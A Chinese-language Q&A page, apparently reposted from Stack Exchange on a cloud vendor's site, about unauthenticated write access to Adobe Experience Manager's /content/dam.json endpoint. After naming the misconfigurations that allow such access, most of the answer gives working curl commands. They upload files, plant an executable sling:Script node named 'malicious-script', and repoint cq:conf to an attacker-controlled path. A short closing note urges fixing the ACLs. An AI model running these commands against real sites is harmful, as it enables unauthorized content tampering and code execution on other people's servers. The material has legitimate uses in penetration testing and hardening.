You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

POST端点是什么?未认证能否通过AEM的dam.json端点操作内容?

AEM /content/dam.json 未认证写入权限分析与操作说明

未认证状态下能否上传/修改内容?

AEM默认安全规则里,匿名(未认证)用户是没有jcr:write权限的,正常情况下无法对DAM节点执行写入操作。但如果出现以下配置错误,就可能存在未认证写入漏洞:

  • 处理该POST请求的Sling Servlet未做权限校验,直接放行匿名用户的写入请求
  • /content/dam节点的ACL(访问控制列表)错误赋予了匿名用户写入权限
  • 站点存在认证绕过类的漏洞

你收到的“content changed successful”提示不能直接作为修改成功的依据,必须实际验证:比如发送POST请求后,通过GET请求查看节点属性是否变化,或者上传测试文件确认是否出现在DAM中。

若漏洞存在,具体操作方法

如果确实允许未认证写入,针对该.json端点,常见操作方式如下:

1. 上传DAM资产

使用multipart/form-data格式发送POST请求,参数需包含:

  • :operation=upload:指定执行上传操作
  • :contentType:对应文件的MIME类型(比如image/png、application/pdf)
  • file:要上传的文件内容

示例curl命令:

curl -X POST -F ":operation=upload" -F ":contentType=image/png" -F "file=@test.png" http://site.com/content/dam.json

上传成功后,可通过http://site.com/content/dam/test.png.json查看该资产节点是否存在。

2. 创建恶意脚本或页面节点

使用application/x-www-form-urlencoded格式创建子节点,参数设置:

  • :name:要创建的节点名称(比如malicious-script)
  • :jcr:primaryType:节点类型(比如sling:Script对应可执行脚本,cq:Page对应页面节点)
  • 节点属性:比如脚本内容通过jcr:data参数传递

示例curl命令(创建可执行脚本):

curl -X POST -d ":name=malicious-script" -d ":jcr:primaryType=sling:Script" -d "jcr:data=<% out.println('Unauthorized Access'); %>" http://site.com/content/dam.json

创建成功后,访问http://site.com/content/dam/malicious-script即可执行该脚本。

3. 修改现有节点属性

直接POST要修改的属性键值对,比如修改cq:conf属性:

curl -X POST -d "cq:conf=/conf/attacker-controlled" http://site.com/content/dam.json

关键提醒

  • 所有操作必须先验证漏洞真实存在,不能仅依赖响应提示判定写入成功
  • 此类漏洞属于高危安全问题,一旦确认存在,需立即修复:检查Sling Servlet的权限配置,修正/content/dam节点的ACL,确保匿名用户仅拥有只读权限

内容的提问来源于stack exchange,提问作者James

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.18 08:45:49